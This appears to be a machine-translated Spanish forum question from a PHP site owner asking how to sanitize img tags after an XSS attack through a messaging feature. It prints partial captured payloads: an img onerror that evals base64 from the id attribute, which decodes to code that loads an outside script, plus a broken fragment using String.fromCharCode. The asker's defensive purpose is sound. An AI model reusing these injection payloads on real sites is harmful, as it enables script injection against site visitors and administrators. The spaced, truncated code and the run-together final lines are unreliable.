¿Cómo podemos evitar que se inserte el elemento img / html de XSS en nuestra base de datos?
Recientemente obtuve un caso en nuestro sitio web que usa PHP. Nuestro sitio web recibió un servicio de mensajes que permite elementos HTML y un estafador enviaba un mensaje que incluía una etiqueta de imagen en el mensaje. La etiqueta de imagen valora el atributo id con la cadena de codificación de base 64 y utiliza el método de descifrado atob para implementar su script en nuestro servidor cuando nuestros administradores están viendo su mensaje.
Cambié intencionalmente la función atob a named_function en el script a continuación, ya que desencadenaría la creación de un iframe en este sitio.
este es el script. Dos imágenes fueron enviadas en diferentes mensajes.
< img src = / id = dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vb HJlY2lwZlazp onerror = eval ( named_function (this.id)) >
< img src = por defecto onerror = eval (String.fromCharCode) ;
La forma de entender el código cifrado es mediante el método atob que decodifica los códigos cifrados. Cargaría una página de Javascript que crea un iframe, carga JS y socket.io.
Usando socket.io, parece querer producir un script flexible en el iframe para hackear los sitios web.
A continuación se muestra el resultado decodificado.
Misoluciónactualparaestoespermitirsololaimagenconsrcconextensióndeimagen.
¿Cuáleslamejormaneradesanearlaetiquetaimg?
Gracias.
PS.siestaimagenexisteenunapáginaweb,produciráconstantementeunaconexióndesocketio.